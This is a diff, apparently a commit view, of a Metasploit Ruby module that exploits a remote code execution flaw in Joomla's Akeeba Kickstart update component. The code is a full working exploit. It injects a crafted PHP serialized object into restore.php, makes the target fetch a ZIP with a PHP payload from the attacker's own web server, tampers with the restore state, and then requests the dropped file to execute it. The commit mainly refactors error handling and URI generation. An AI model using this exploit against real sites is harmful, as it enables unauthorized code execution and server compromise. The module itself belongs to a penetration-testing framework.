@@ -11,18 +11,17 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
- include Msf ::Exploit ::Remote ::HttpServer
14
+ include Msf ::Exploit ::Remote ::HttpServer :: HTML
15
15
include Msf ::Exploit ::FileDropper
16
16
17
17
def initialize ( info = { } )
18
18
super ( update_info ( info ,
19
19
'Name' => "Joomla / Akeeba Kickstart Remote Code Execution" ,
20
20
'Description' => %q{
21
- This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and
22
- earlier 3.x versions, 3.3.0 through 3.3.4 versions. The vulnerability more
23
- specifically affects the Akeeba component, which is responsible for Joomla!
24
- updates. Nevertheless it is worth to note that this vulnerability is only present
25
- during the update of the Joomla! CMS.
21
+ This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
22
+ 3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
23
+ component, which is responsible for Joomla! updates. Nevertheless it is worth to note
24
+ that this vulnerability is only exploitable during the update of the Joomla! CMS.
26
25
} ,
27
26
'License' => MSF_LICENSE ,
28
27
'Author' =>
@@ -43,18 +42,16 @@ def initialize(info={})
43
42
[
44
43
[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4' , { } ]
45
44
] ,
46
- 'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
45
+ 'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
47
46
'Privileged' => false ,
48
47
'DisclosureDate' => "Sep 29 2014" ,
49
48
'DefaultTarget' => 0 ) )
50
49
51
- register_options (
52
- [
53
- OptString . new ( 'TARGETURI' , [ true , 'The base path to Joomla' , '/joomla' ] ) ,
54
- OptInt . new ( 'HTTPDELAY' , [ false , 'Seconds to wait before terminating web server' , 5 ] ) ,
55
- OptString . new ( 'URIPATH' , [ true , 'The base path to the ZIP file' , 'file.zip' ] )
56
- ] , self . class )
57
-
50
+ register_options (
51
+ [
52
+ OptString . new ( 'TARGETURI' , [ true , 'The base path to Joomla' , '/joomla' ] ) ,
53
+ OptInt . new ( 'HTTPDELAY' , [ false , 'Seconds to wait before terminating web server' , 5 ] )
54
+ ] , self . class )
58
55
end
59
56
60
57
def check
@@ -63,26 +60,26 @@ def check
63
60
)
64
61
65
62
if res && res . code == 200
66
- return Exploit ::CheckCode ::Detected
63
+ return Exploit ::CheckCode ::Detected
67
64
end
68
65
69
66
Exploit ::CheckCode ::Safe
70
67
end
71
68
72
69
def primer
73
- srv_uri = 'http://' + srvhost_addr + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
70
+ srv_uri = " #{ get_uri } / #{ rand_text_alpha ( 4 + rand ( 3 ) ) } .zip"
74
71
75
72
php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00 " + 'AKFactory' + "\x00 " + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri . length . to_s + ':"' + srv_uri + '";}}'
76
73
php_filename = rand_text_alpha ( 8 + rand ( 8 ) ) + '.php'
77
74
78
75
# Create the zip archive
79
- print_status ( "Creating archive with file " + php_filename )
76
+ print_status ( "Creating archive with file #{ php_filename } " )
80
77
zip_file = Rex ::Zip ::Archive . new
81
78
zip_file . add_file ( php_filename , payload . encoded )
82
79
@zip = zip_file . pack
83
80
84
81
# First step: call restore to run _prepare() and get an initialized AKFactory
85
- print_status ( "Sending our payload to #{ peer } " )
82
+ print_status ( "#{ peer } - Sending PHP serialized object... " )
86
83
res = send_request_cgi ( {
87
84
'uri' => normalize_uri ( target_uri , 'administrator' , 'components' , 'com_joomlaupdate' , 'restore.php' ) ,
88
85
'vars_get' => {
@@ -91,28 +88,41 @@ def primer
91
88
}
92
89
} )
93
90
94
- unless res && res . body =~ /###(.*)###/
95
- fail_with ( "Error while injecting PHP serialized object : " + res . body )
91
+ unless res && res . code == 200 && res . body && res . body =~ /^###\{ "status":true.*\} ###/
92
+ print_status ( "#{ res . code } \n #{ res . body } " )
93
+ fail_with ( Failure ::Unknown , "#{ peer } - Unexpected response" )
96
94
end
97
95
98
96
# Second step: modify the currentPartNumber within the returned serialized AKFactory
99
97
json = /###(.*)###/ . match ( res . body ) [ 1 ]
100
- b64encoded_prepared_factory = JSON . parse ( json ) [ 'factory' ]
98
+ begin
99
+ b64encoded_prepared_factory = JSON . parse ( json ) [ 'factory' ]
100
+ rescue JSON ::ParserError
101
+ fail_with ( Failure ::Unknown , "#{ peer } - Unexpected response, cannot parse JSON" )
102
+ end
103
+
101
104
prepared_factory = Rex ::Text . decode_base64 ( b64encoded_prepared_factory )
102
105
modified_factory = prepared_factory . gsub ( 'currentPartNumber";i:0' , 'currentPartNumber";i:-1' )
103
106
107
+ print_status ( "#{ peer } - Sending initialized and modified AKFactory..." )
104
108
res = send_request_cgi ( {
105
109
'uri' => normalize_uri ( target_uri , 'administrator' , 'components' , 'com_joomlaupdate' , 'restore.php' ) ,
106
110
'vars_get' => {
107
111
'task' => 'stepRestore' ,
108
112
'factory' => Rex ::Text . encode_base64 ( modified_factory )
109
113
}
110
114
} )
115
+
116
+ unless res && res . code == 200 && res . body && res . body =~ /^###\{ "status":true.*\} ###/
117
+ fail_with ( Failure ::Unknown , "#{ peer } - Unexpected response" )
118
+ end
119
+
111
120
register_files_for_cleanup ( php_filename )
112
121
122
+ print_status ( "#{ peer } - Executing payload..." )
113
123
send_request_cgi ( {
114
124
'uri' => normalize_uri ( target_uri , 'administrator' , 'components' , 'com_joomlaupdate' , php_filename )
115
- } )
125
+ } , 2 )
116
126
117
127
end
118
128
@@ -126,13 +136,14 @@ def exploit
126
136
127
137
# Handle incoming requests from the server
128
138
def on_request_uri ( cli , request )
129
- if ( not @zip )
130
- print_error ( "A request came in, but the ZIP archive wasn't ready yet!" )
139
+ if @zip && request . uri =~ /\. zip$/
140
+ print_status ( "Sending the ZIP archive..." )
141
+ send_response ( cli , @zip , { 'Content-Type' => 'application/zip' } )
131
142
return
132
143
end
133
144
134
- print_status ( "Sending the ZIP archive to the server ..." )
135
- send_response ( cli , @zip )
145
+ print_status ( "Sending not found ..." )
146
+ send_not_found ( cli )
136
147
end
137
148
138
149
end
0 commit comments